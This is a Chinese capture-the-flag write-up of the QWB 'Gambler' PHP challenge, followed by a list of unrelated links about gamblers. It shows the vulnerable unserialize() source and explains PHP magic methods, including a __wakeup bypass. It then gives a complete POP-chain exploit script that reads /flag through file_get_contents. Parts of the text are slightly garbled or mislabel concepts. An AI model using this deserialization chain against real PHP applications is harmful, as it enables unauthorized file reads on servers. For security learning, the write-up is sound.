[强网杯]赌徒
0x00 赛题复现
敏感目录扫描得到www.zip
<?php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name;//new Info() return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room(); } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a;//new Room() return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){//当脚本尝试将对象调用为函数时触发 $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); } ?>
代码审计
观察代码可以发现使用了很多用于序列化的魔术方法,比如__invoke,__get,__construct,__wakeup函数。如果不了解这些函数的用法,理解这整个流程还是比较困难的。
首先是对每个方法的调用方式进行介绍。
__invoke函数 - 以调用函数的方式调用对象时,该函数执行 适用于php版本大于5.3.0
举个例子
代码
<?php highlight_file('invoke.php'); class Student { public $id; public $name; public $sex; public function __invoke(){ echo 'do not do this'; } } $a=new Student; $a();
运行结果
当类对象作为函数执行时 会自动调用原类中的__invoke方法
__get函数 - 用来获取私有成员属性值的,有一个参数,参数传入你要获取的成员属性的名称,返回获取的属性值
<?php highlight_file("get.php"); 代码 class Person { public $sex='Porn'; public $name='HUB'; private $ty='666'; public function __get($name){ return '调用成功'.$name; } } $p=new Person; echo $p->sex; echo $p->st;
运行结果
可以看到当调用一个不存在的属性时,会自动调用__get方法。
__construct函数 -析构函数,在创建对象时触发,有点像构造函数。
代码
<?php highlight_file("construct.php"); class Person { public $name; public $age; public function __construct($name,$age){ $this->name=$name; $this->age=$age; } } $t=new Person("hacker","11"); echo $t->name;
运行结果
wakeup函数 - 在反序列化过程中,如果存在wakeup函数会优先调用wakeup函数
绕过wakeup方法很简单,定义变量时 定义的变量数大于存在的变量数即可
<?php highlight_file("wakeup.php"); class Person { public $name; public $age; public function __construct($name,$age){ $this-&g 275e t;name=$name; $this->age=$age; } public function __wakeup(){ echo 'hacker!!!'; } } $t=new Person("hacker","11"); echo unserialize('O:6:"Person":2:{s:4:"name";s:6:"hacker";s:3:"age";s:2:"11";}');
成功绕过
构造该题EXP
先进行测试
发现我们的序列化字符串 传过去后 能够通过 Start 类中的_sayhello() 进行输出
这里因为没有原题环境 小改一下
<?php error_reporting(1); highlight_file('unserialize.php'); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name;//new Info() return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room(); } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a;//new Room() return $function(); } public function Get_hint($file){ //$hint=base64_encode(file_get_contents($file)); $hint="flag={agwasagaa1yaga}"; //我们只要输出这个就算成功 echo $hint; return ; } public function __invoke(){ //当脚本尝试将对象调用为函数时触发 $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); } ?>
根据代码可以知道 真正需要进行输出的是第三个类,我们必须想办法,让我们的第一个类里包含到第三个类。
这里注意到第三个类里面有一个get函数,怎么利用呢?
如果通过Start类直接去调用Room类,那么get方法不会触发,不行。
如果自己去构造的话是没法让构造的类自己去执行里面的方法的。 因为毕竟最后需要通过invoke方法进行输出,而invoke方法需要被当成函数去调用时才会执行。
反序列化被解析时 时 从最外面的类一直跟进到里面的类。
我们进行序列化字符串分析时,可以从后往前推进。
这里主要思路是通过第一个类 把第三个类里的关键信息带出来。
所以先对第三个类进行分析。
首先是__invoke方法的调用,必须存在类对象被当作函数调用才能执行invoke函数,而显然我们不能把调用类对象的代码进行序列化代入进去。
所以我们需要找哪里将类对象当成函数执行,
直接跟进到
get方法实现了将$this->a作为函数执行,说明我们只需要让$this->a作为一个类对象就行了因为是要调用Room类的invoke 所以$this->a=new Room();
但是要满足这个条件之前,我们需要先满足get方法,而get的条件是调用不存在的变量时被执行。 哪里能有不存在的变量?
可构造
$b=new Info; $c=new Room; $b->file['filename']=$c
然后如果我们调用了Info类,则会自动调用__toString方法,方法被执行时,这时$c->ffiillee['ffiilleennaammee'] 并不存在,返回前会执行 $c里的get方法,而执行get方法时,$this->a为类对象,然后被当作函数执行,调用invoke函数执行。
最后我们通过Start类中的name变量将Info的返回值带出来显示在页面上。
所以可构造最后的exp;
<?php class Start{} // 空类 class Info{} // 空类 class Room{ public $filename="/flag"; //因为gethint函数需要参数,所以构造的时候不能少了这个变量 } $a=new Start; $b=new Info; $c=new Room; // 构造a $c->a=new Room; //将类对象放到c类对象中的a里保存. $b->file['filename']=$c; //将c类赋值到b类的file['filename']属性中 确保get执行. $a->name=$b; //将执行后的结果赋值到a类中的name属性 echo serialize($a); //序列化 ?>
- 社交游戏玩家大多是老虎机赌徒
- 错了就加倍再来!总得回来吧!一次就回本赚钱!——永远有人信的赌徒谬误
- 赌徒破产理论
- 拜占庭赌徒问题
- 赌徒的破产命运模拟
- 从酒鬼失足到赌徒破产,悲剧收场为何注定
- hdu1204(Markov过程,赌徒输光问题变形)
- 你是创业者,不要做赌徒
- “魔鬼交易员”不过是赌徒
- (转)听赌徒谈风险:没犯任何错误照样输个精光
- HNCU1097:赌徒(二分)
- 赌徒
- 不只是A/B测试:多臂老虎机赌徒实验
- 跟着BOY学习开发cocos2d-x 游戏 实战篇(4)之 游戏主界面 -----怪物系统---赌徒来袭
- 赌徒
- 听道士论道(转)河蚌-赌徒(SOHU社区)
- 跟着BOY学习开发cocos2d-x 游戏 实战篇(4)之 游戏主界面 -----怪物系统---赌徒来袭
- TK题库 1097 赌徒(暴力+二分)
- 赌徒史玉柱变脸转战IT产业 筹资1亿备战网游
- 幻想一夜暴富 “彩民”变“赌徒”